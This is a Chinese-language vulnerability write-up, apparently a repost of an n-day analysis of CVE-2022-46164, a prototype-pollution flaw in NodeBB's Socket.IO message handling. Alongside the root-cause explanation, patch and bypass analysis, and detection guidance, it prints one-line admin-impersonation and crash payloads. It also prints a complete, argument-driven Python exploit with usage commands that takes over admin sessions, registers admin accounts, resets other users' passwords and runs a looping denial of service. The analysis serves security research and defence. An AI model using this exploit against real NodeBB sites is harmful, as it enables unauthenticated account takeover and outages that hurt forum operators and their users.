NodeBB账户接管漏洞深度剖析（CVE-2022-46164）

本文详细分析了NodeBB论坛平台中的CVE-2022-46164漏洞，该漏洞源于JavaScript原型污染，允许攻击者通过Socket.IO消息调用任意方法，实现管理员权限提升、账户接管及服务拒绝攻击。文章包含漏洞细节、利用条件、PoC脚本及修复方案。

NodeBB账户接管漏洞分析（CVE-2022-46164）

关于CVE-2022-46164

CVE-2022-46164影响NodeBB，一个基于Node.js的开源社区论坛平台，支持Redis、MongoDB或PostgreSQL数据库。该平台使用Socket.IO实现即时交互和实时通知功能。

漏洞公告关键信息如下：

  • 标题：通过原型漏洞实现账户接管
  • 受影响版本：< 2.6.1
  • 修复版本：2.6.1
  • CVSS评分：严重 - 9.4（CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L）
  • 影响：由于在socket.io消息处理中使用了一个带有原型的普通对象，特制负载可用于冒充其他用户并接管账户。
  • 临时解决方案：站点维护者可将提交48d1439挑选到代码库中以修补漏洞。

进一步调查发现：

  • 漏洞允许在继承默认Object.prototype的对象上任意调用方法。
  • 通过调用Object类型的内置方法，攻击者可覆盖Socket.IO连接的属性。
  • 除了用户冒充和账户接管外，还可利用此漏洞使服务器崩溃。
  • 实际CVSSv3.1评分应为9.8而非9.4，向量字符串为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H。
  • v2.6.1中的补丁不足以缓解漏洞。
  • 漏洞影响范围直至NodeBB v2.8.0（即NodeBB < v2.8.1）。

漏洞细节

分析基于NodeBB v2.6.0（受CVE-2022-46164影响）。NodeBB使用REST API和Socket.IO进行客户端-服务器通信，后者用于低延迟交互。

NodeBB利用Socket.IO库建立WebSocket连接（或回退到HTTP长轮询）。自定义事件可通过socket连接的.emit()方法发射：

1

socket.emit(<事件名称>, <消息数据>)

在src/socket.io/index.js中，事件名称用于指定“API路由”，消息数据用于传递请求参数（参数类型可为除函数外的任何类型）。

1
2

const eventName = payload.data[0];
const params = typeof payload.data[1] === "function" ? {} : payload.data[1];

API路径由点分隔（例如admin.user.removeAdmins）。NodeBB通过requireModules()导出方法并存储在Namespaces对象中：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

function requireModules() {
    const modules = [
        "admin", "categories", "groups", "meta", "modules",
        "notifications", "plugins", "posts", "topics", "user",
        "blacklist", "uploads"
    ];
    modules.forEach((module) => {
        Namespaces[module] = require(`./${module}`);
    });
}

用户通过eventName指定要调用的方法，并提供参数作为消息体。方法调用通过递归查找实现：

1
2
3
4
5
6
7
8

const parts = eventName.toString().split('.');
const namespace = parts[0];
const methodToCall = parts.reduce((prev, cur) => {
    if (prev !== null && prev[cur]) {
        return prev[cur];
    }
    return null;
}, Namespaces);

每次迭代检查prev !== null && prev[cur]。由于JavaScript中几乎所有对象都是Object的实例，Namespaces包含指向Object.prototype的私有属性__proto__：

1
2

Namespaces.__proto__ === Object.prototype
Namespaces.__proto__.constructor === Object

因此，攻击者可调用内置方法如Object.assign()和Object.defineProperties()，从而覆盖socket对象的属性。

实现管理员冒充

Socket.IO连接是有状态的，服务器通过socket对象中的状态识别客户端及其权限。NodeBB在调用methodToCall()前执行授权检查（在模块的before()函数中）：

1
2
3

if (Namespaces[namespace].before) {
    await Namespaces[namespace].before(socket, eventName, params);
}

SocketAdmin.before()的实现如下：

1
2
3
4
5
6
7

SocketAdmin.before = async function (socket, method) {
    const isAdmin = await user.isAdministrator(socket.uid);
    if (isAdmin) {
        return;
    }
    ...
}

socket.uid是唯一用于确定用户访问权限的标识符。覆盖uid为管理员用户（如默认admin账户uid:1）即可获得管理员权限：

1
2

socket.emit('__proto__.constructor.assign', {'uid':1})                     // 使用Object.assign()覆盖uid
socket.emit('__proto__.constructor.defineProperties', {'uid':{'value':1}}) // 使用Object.defineProperties()覆盖uid

由于user.isAdministrator(1) === true，后续事件可在同一Socket.IO连接中以管理员权限执行。攻击者随后可注册管理员账户，并通过API更改其他账户的密码和邮箱。

实现拒绝服务

漏洞还可用于使服务器崩溃。覆盖socket.adapter属性为{}会导致socket.adapter.delAll类型为对象（非函数），从而在连接关闭时引发无效函数调用，使进程崩溃：

1
2

socket.emit('__proto__.constructor.assign', {'adapter':{}})
socket.disconnect()

进程终止后，NodeBB尝试重启，但若在10秒内触发3次重启，NodeBB将完全停止。

利用条件

实现用户冒充或账户接管需数据库中至少存在一个用户。实现持久拒绝服务无额外约束。未认证攻击者可可靠利用此漏洞。

概念验证

PoC脚本自动化以下操作：

  • 以管理员身份执行任意方法
  • 注册管理员账户
  • 接管现有账户

利用脚本 

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147

# NodeBB (< v2.8.1) 任意方法调用 (CVE-2022-46164)
# 作者: River Koh (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import socketio
import requests
import re
import random
import string
import argparse
from time import sleep

adminUID = 0
targetURL = ''

def callback(a, b):
    print(a, b)

def findAdmin(a, b):
    global adminUID
    if b != None and 'groupTitleArray' in b and 'administrators' in b['groupTitleArray']:
        adminUID = b['uid']

def DOS():
    while True:
        sio = socketio.Client()
        try:
            sio.connect(f'{targetURL}/socket.io')
            sio.emit('user.__proto__.constructor.assign', {'adapter':{}})
            sleep(0.5)
            sio.disconnect()
        except:
            sleep(0.1)

def RegisterAdminUser(username, password):
    userUID = 0
    def findUser(a, b):
        nonlocal userUID
        userUID = b['uid']
    # 劫持管理员会话
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    # 接管管理员会话
    sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 
    
    r = requests.session()
    headers = {"User-Agent": ""}
    # 获取注册的CSRF令牌
    response = r.get(f'{targetURL}/register', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    # 注册
    data = {"username": username, "password": password, "password-confirm": password, "token": '', "noscript": "false", "_csrf": csrf, "userLang": "en-US"}
    response = r.post(f"{targetURL}/register", headers=headers, data=data)
    # 获取CSRF以完成注册
    response = r.get(f'{targetURL}/register/complete?registered=true', headers=headers)

    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    response = r.post(f"{targetURL}/register/complete/?_csrf={csrf}", headers=headers, data={'gdpr_agree_email':'on','gdpr_agree_data':'on','email':''})
    
    # 获取注册用户的UID
    sio.emit('user.getUserByUsername', username, callback=findUser)
    sleep(1)
    # 将用户设为管理员
    sio.emit('admin.user.makeAdmins', [userUID]) 
    sleep(1)
    sio.disconnect()    
    return username, password

def Takeover(user, adminUsername, adminPassword, userPassword):
    targetUserUID = 0
    def findTarget(a, b):
        nonlocal targetUserUID
        if b == None:
            print('用户不存在')
            quit()
        targetUserUID = b['uid']
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    # 接管管理员会话
    sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 

    # 登录管理员账户
    r = requests.session()
    headers = {"User-Agent": ""}
    response = r.get(f'{targetURL}/login', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    data = {"username": adminUsername, "password": adminPassword, "remember": "on", "_csrf": csrf, "noscript": "false"}
    response = r.post(f'{targetURL}/login', headers=headers, data=data)

    # 获取注册用户的UID
    sio.emit('user.getUserByUsername', user, callback=findTarget)
    sleep(1)
    response = r.get(f'{targetURL}/groups/administrators', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    headers = {"User-Agent": "", "x-csrf-token": csrf}
    response = r.put(f"{targetURL}/api/v3/users/{targetUserUID}/password", headers=headers, json={"newPassword": userPassword})

    if 'ok' in response.text:
        print('管理员凭证: ', f'{adminUsername}:{adminPassword}')
        if user != '':
            print('目标凭证: ', f'{user}:{userPassword}')
            
    sio.disconnect()    

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", action="store", help="目标用户")
    parser.add_argument("-t", "--targetURL", action="store", help="托管NodeBB的URL")
    parser.add_argument("-p", "--password", action="store", help="设置新密码以覆盖")
    parser.add_argument("-C", "--command", action="store", help="要执行的Websocket命令")
    parser.add_argument("-P", "--params", action="store", help="要执行的Websocket命令")
    parser.add_argument("-r", "--register", action="store", help="注册具有管理员权限的新账户")
    parser.add_argument("-d", "--dos", action="store_true", help="拒绝服务")
    args = parser.parse_args()

    targetURL = args.targetURL
    defaultPassword = args.password if args.password else 'password11'

    # 查找管理员账户
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    uid = 0
    while adminUID == 0:
        sio.emit('user.getUserByUID', uid, callback=findAdmin)
        uid+=1
        sleep(1)
    sio.disconnect()

    if args.dos:
        DOS()
    elif args.command and args.params:
        sio  = socketio.Client()
        sio.connect(f'{targetURL}/socket.io')
        sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 
        sio.emit(args.command, args.params, callback = callback)
        sleep(1)
        sio.disconnect()
    elif args.register: # 注册管理员
        r = requests.get(f'{targetURL}/api/v3/users/bySlug/{args.register}', allow_redirects=False)
        if r.status_code != 404:
            print('用户名已占用')
            quit()
        user, pwd = RegisterAdminUser(args.register, defaultPassword)
        print(user,":", pwd)
    elif args.user: # 接管用户账户
        user, pwd = RegisterAdminUser(''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=15)), defaultPassword)
        Takeover(args.user, user, pwd, defaultPassword)

使用示例

安装依赖：

1

$ pip install requests argparse python-socketio[client]

以管理员身份执行任意方法：

1

$ python3 poc.py --targetURL http://localhost:4567 --command user.getUserByUsername --params user1

注册管理员账户：

1

$ python3 poc.py --targetURL http://localhost:4567 --register user1234 --password password22

接管现有账户：

1

$ python3 poc.py --targetURL http://localhost:4567 --user user1234 --password password22

触发持久拒绝服务：

1

$ python3 poc.py --targetURL http://localhost4567 --dos

补丁分析

v2.6.1

官方公告建议挑选提交48d1439到代码库中：

1
2

- const Namespaces = {};  
+ const Namespaces = Object.create(null);

此补丁通过移除Namespaces对象的原型来防止调用Object.assign()等方法。但由于Namespaces中的模块仍是带有继承原型的对象，攻击者仍可通过遍历原型链绕过补丁：

1
2
3

socket.emit('user.__proto__.constructor.assign', {'uid':1})  
socket.emit('user.gdpr.__proto__.constructor.assign', {'uid':1})  
socket.emit('user.getUserByUID.__proto__.__proto__.constructor.assign', {'uid':1})

v2.8.1

NodeBB v2.8.1中包含提交586eed1的补丁：

1
2

- if (prev !== null && prev[cur]) {  
+ if (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {

此补丁添加额外检查以确保访问的属性是对象自有属性（而非继承），有效防止调用内置方法。此补丁充分修复了漏洞。

建议缓解措施

用户应升级至至少v2.8.1，或挑选提交48d1439和586eed1。

检测指导

WebSocket日志

若通过NodeBB Socket.IO记录器或其他方式可用Socket.IO日志，可通过检查Socket.IO事件名称中的字符串__proto__、prototype或constructor来检测漏洞利用。这些字符串表明尝试遍历对象原型链而非自有属性。

Socket.IO HTTP长轮询

若无法建立WebSocket连接，Socket.IO使用HTTP长轮询作为回退。可通过HTTP日志检测（需其他来源生成日志）。到/socket.io/端点的传入POST请求中包含字符串__proto__、prototype、constructor应标记为利用尝试。检测规则应考虑负载中的JSON转义序列（如\u0063onstructor）。

不成功利用尝试日志

若Socket.IO日志不可用，仍可通过默认日志配置检测。默认情况下，不生成用户或管理员活动日志，但某些情况（如服务器过载）可能触发错误日志。当超出服务器速率限制时，会记录socket历史中的前20个事件。

未授权用户尝试执行管理员功能时，用户uid会被记录：

1
2

winston.warn(`[socket.io] Call to admin method ( ${method} ) blocked (accessed by uid ${socket.uid})`);  
throw new Error('[[error:no-privileges]]');

未指定事件名称的Socket.IO消息也会触发警告。

活动时间戳

若有其他日志（如反向代理或负载均衡器生成），可通过比较管理员活动时间戳和账户最后在线状态检测。NodeBB存储账户最后在线时间戳。通过REST API的用户交互会触发中间件更新此时间戳，但通过WebSocket的用户活动不会。因此，若账户的最后在线时间早于任何记录的活动，则攻击者已利用漏洞冒充该用户账户。

结束语

分析n日漏洞有助于发现变体或绕过缓解措施，并可能发现新漏洞。事实上，Socket.IO消息处理程序中还存在另一个漏洞（部分由上游单独漏洞引起）被忽视！

最后，感谢阅读！希望您喜欢我们前网络安全实习生River Koh对Stephen Bradshaw（@SM_Bradshaw）发现和报告的这个有趣漏洞的精彩n日分析！

comments powered by Disqus
© 2020 - 2025 qife
使用 Hugo 构建
主题 Stack 由 Jimmy 设计
本站总访问量次 本站访客数人次